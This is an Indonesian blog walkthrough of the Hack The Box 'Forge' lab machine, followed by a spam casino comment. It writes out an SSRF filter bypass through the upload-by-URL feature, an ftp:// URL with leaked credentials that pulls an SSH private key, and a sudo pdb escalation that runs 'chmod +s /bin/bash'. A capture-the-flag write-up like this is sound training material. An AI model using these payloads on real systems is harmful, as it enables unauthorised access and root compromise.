Wednesday, September 22, 2021

Forge HTB

 1. Sebelum memulai kita melakukan pengenalan terhadap mesin yang akan di coba

    
    tambahkan nama host ( domain ) dan ip mesin seperti gambar di bawah ini :

 

Hostname

2. selanjutnya kita konek vpn dulu sebelum memulai dikarenakan mesin yang akan di ujicoba hanya boleh di lakukan pada jaringan lokal


Konek VPN

3. Selanjutnya kita melakukan scanning port menggunakan tools nmap dengan command nmap -sC -sV -oA nmap (ip mesin) seperti gambar dibawah ini :

NMAP

disini ada 3 port yang di dapat namun hanya 2 port yang dibuka disini kita menggunakan 2 port saja yaitu port 22 dan port 80 dimana port 80 untuk web dan 22 untuk remote ssh

 

4. selanjutnya kita akan masuk ke web forge.htb nya dimana web tersebut jalan dengan port 80 masuk ke menu upload dimana kita dapat melakukan reverse dengan melakukan upload sesuatu file gambar atau file lain nya

Menu gallery




 

Menu Upload

5. selanjutnya kita mencoba mencari sub-domain dengan menggunakan tools gobuster dengan command gobuster vhost -u http://forge.htb -w /home/x/Desktop/git/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 -r

Bruteforce sub-domain

Disini kita menemukan admin.forge.hbt dengan status code 200

 

6. selanjunya kita mencoba melakukan akses pada admin http://admin.forge.htb/

 

admin



 

 Disini kita tidak mendapatkan apa apa

 


7. selanjutnya kita mencoba melakukan upload file apa aja pada menu upload disini ada 2 menu dimana melakukan upload dengan file dan melakukan upload dengan form url disini kita mencoba melakukan upload dengan menggunakan url


Invalid upload


disini kita menemukan bahwa url testing tidak dikenal ( tidak valid )


8. pada tampilan setelah upload kita menemukan Invalid protocol! Supported protocols: http, https dimana url dengan link testing tidak dapat di proses
   maka kita mencoba melakukan upload dengan melakukan bypass link via remote menggunakan url  http://ADMIN.FORGE.HTB 


Bypass admin forge


 9. setelah memelakukan upload dengan melakukan bypass kita coba lakukan curl link http://forge.htb/uploads/yjDLtuzdSs3dT85A7lf6 dimana link tersebut kita dapat setelah upload berhasil

Curl admin



   setelah melakukan curl disini kita dapatkan link url yang menuju pada announcements


10. selanjutnya kita mencoba upload ulang dengan melakukan bypass menggunakan link http://ADMIN.FORGE.HTB/announcements pada menu upload from url

Bypass announcements



  setelah kita mencoba melakukan upload kita mendapatkan link yang baru


 11. dengan link yang kita dapat tadi kita coba melakukan curl ulang curl http://forge.htb/uploads/CMTOdHtZljbxq8fWkbWX

Curl Credential


disini kita menemukan sebuah user credential nya


12 setelah kita menemukan user credential nya kita coba bypass melalui form upload url dengan membypass ftp nya dengan ip localhost yaitu menggunakan ip 127.0.0.1 atau lebih tepat nya dengan menggunakan link seperti ini http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.1.1.1/.ssh/id_rsa&remote=1


bypass ftp


13 setelah melakukan bypass ftp nya kita coba curl untuk melihat respon pada url berikut ini http://forge.htb/uploads/PugZi8PM8WXsjlTGS7DQ


Curl key SSH

disini kita menemukan key untuk bisa masuk ke server menggunakan ssh via port yang open saat kita melakukan scaning dengan nmap yaitu port 22


14. selanjutnya kita coba save key tersebut lalu kita coba lakukan konek dengan port 22

akses server



15. setelah berhasil masuk ke server disini kita menemukan flag untuk user nya


Flag user



16. selanjutnya kita melakukan pencarian hash flah root nya dimana kita memanfaatkan sebuah script python dimana kita akan melakukan percobaan debug (pdb) yang dijalankan ke dalam bahasa pemrograman python


debug python


 17. disini kita mencoba melihat script python nya kira kira apa yang bisa dibpass dan ternyata disini saya mencoba melakukan percobaan dengan dua login yang sama dengan mencoba melakukan debug pada import os nya seperti gambar dibawah ini 

reverse debug


 saya menggunakan perintah sudo /usr/bin/python3 /opt/remote-manage.py untuk melakukan debug python nya dan melakukan command nc localhost port 62023


18. setelah ketua nya connect maka pada terminal reverse gambar sebelah kanan kita mengetik '\ dan gambar sebelah kiri ketikan perintah (Pdb) import os (Pdb) os.system("ls /root") clean-uploads.sh  root.txt  snap  (Pdb) (Pdb)os.system("chmod +s /bin/bash") (Pdb) exit()


Debug python and reverse

19. dan setelah berhasil melakukan debug kita dapat melihat flag root nya pada gambar di bawah ini


Flag root


1 comment:

  1. Casino Reviews, Ratings, Games, Bonuses - DrmCD
    Check out Casino reviews and player feedback 구미 출장샵 about this gambling app. 김해 출장마사지 Get your hands on casino 계룡 출장마사지 reviews, bonus 충청북도 출장마사지 codes & promotions. Rating: 2.5 · ‎2 여주 출장샵 votes

    ReplyDelete